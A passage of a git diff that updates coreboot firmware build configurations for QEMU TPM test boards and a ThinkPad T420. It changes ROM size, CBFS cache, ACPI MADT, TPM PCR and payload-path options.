CONFIG_PCIEXP_CLK_PM is not set CONFIG_DRIVERS_UART_8250IO=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" -CONFIG_BOARD_ROMSIZE_KB_2048=y +CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set # CONFIG_COREBOOT_ROMSIZE_KB_512 is not set # CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set @@ -200,20 +208,21 @@ CONFIG_CBFS_MCACHE_SIZE=0x4000 CONFIG_ROMSTAGE_ADDR=0x2000000 CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -230,9 +239,9 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_UNKNOWN_TSC_RATE=y CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_ASEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y @@ -255,7 +264,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y # CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set @@ -286,9 +294,9 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -298,6 +306,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -322,8 +331,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x10000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -342,11 +350,6 @@ CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_USE_DDR5=y -CONFIG_USE_LPDDR4=y -CONFIG_USE_DDR4=y -CONFIG_USE_DDR3=y -CONFIG_USE_DDR2=y # end of Devices # @@ -370,11 +373,15 @@ CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768 # CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set # CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_INTEL_GMA_OPREGION_2_0=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_VGA=y @@ -409,7 +416,12 @@ CONFIG_TPM=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -428,6 +440,9 @@ CONFIG_BOOTMEDIA_LOCK_NONE=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -470,6 +485,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # System tables # CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -485,13 +501,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -516,6 +531,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -528,10 +547,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_DECOMPRESS_OFAST=y diff --git a/config/coreboot-qemu-tpm2.config b/config/coreboot-qemu-tpm2.config index bdf4fbb56..5ffd0d9b5 100644 --- a/config/coreboot-qemu-tpm2.config +++ b/config/coreboot-qemu-tpm2.config @@ -21,6 +21,7 @@ CONFIG_OPTION_BACKEND_NONE=y # CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y # CONFIG_INCLUDE_CONFIG_FILE is not set CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -66,6 +67,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -79,7 +81,9 @@ CONFIG_VENDOR_EMULATION=y # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set # CONFIG_VENDOR_LENOVO is not set # CONFIG_VENDOR_LIBRETREND is not set @@ -97,7 +101,6 @@ CONFIG_VENDOR_EMULATION=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -141,27 +144,32 @@ CONFIG_BOARD_EMULATION_QEMU_X86_Q35=y # CONFIG_BOARD_EMULATION_QEMU_RISCV_RV64 is not set # CONFIG_BOARD_EMULATION_QEMU_RISCV_RV32 is not set # CONFIG_BOARD_EMULATION_SPIKE_RISCV is not set +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0x10000 CONFIG_DCACHE_RAM_SIZE=0x90000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 CONFIG_MAX_ACPI_TABLE_SIZE_KB=224 CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set CONFIG_DRIVERS_UART_8250IO=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" -CONFIG_BOARD_ROMSIZE_KB_2048=y +CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set # CONFIG_COREBOOT_ROMSIZE_KB_512 is not set # CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set @@ -197,20 +205,21 @@ CONFIG_CBFS_MCACHE_SIZE=0x4000 CONFIG_ROMSTAGE_ADDR=0x2000000 CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -227,9 +236,9 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_UNKNOWN_TSC_RATE=y CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_ASEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y @@ -252,7 +261,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y # CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set @@ -283,9 +291,9 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -295,6 +303,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -319,8 +328,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x10000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -336,11 +344,6 @@ CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_USE_DDR5=y -CONFIG_USE_LPDDR4=y -CONFIG_USE_DDR4=y -CONFIG_USE_DDR3=y -CONFIG_USE_DDR2=y # end of Devices # @@ -364,11 +367,15 @@ CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768 # CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set # CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_INTEL_GMA_OPREGION_2_0=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_VGA=y @@ -402,7 +409,12 @@ CONFIG_TPM=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -421,6 +433,9 @@ CONFIG_BOOTMEDIA_LOCK_NONE=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -463,6 +478,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # System tables # CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -478,13 +494,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -509,6 +524,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -521,10 +540,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_DECOMPRESS_OFAST=y diff --git a/config/coreboot-t420-maximized.config b/config/coreboot-t420-maximized.config index af7ea9fba..5d9c7bf5a 100644 --- a/config/coreboot-t420-maximized.config +++ b/config/coreboot-t420-maximized.config @@ -22,6 +22,7 @@ CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -65,6 +66,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -78,7 +80,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -96,7 +100,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -122,7 +125,6 @@ CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_OVERRIDE_DEVICETREE="" # CONFIG_VGA_BIOS is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" @@ -134,14 +136,14 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_VBOOT_SLOTS_RW_A=y CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -152,6 +154,10 @@ CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx20/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx20/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx20/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T420" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -198,9 +204,12 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -245,27 +254,27 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -286,12 +295,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -334,7 +342,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -382,9 +389,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -394,6 +402,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -419,8 +428,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y 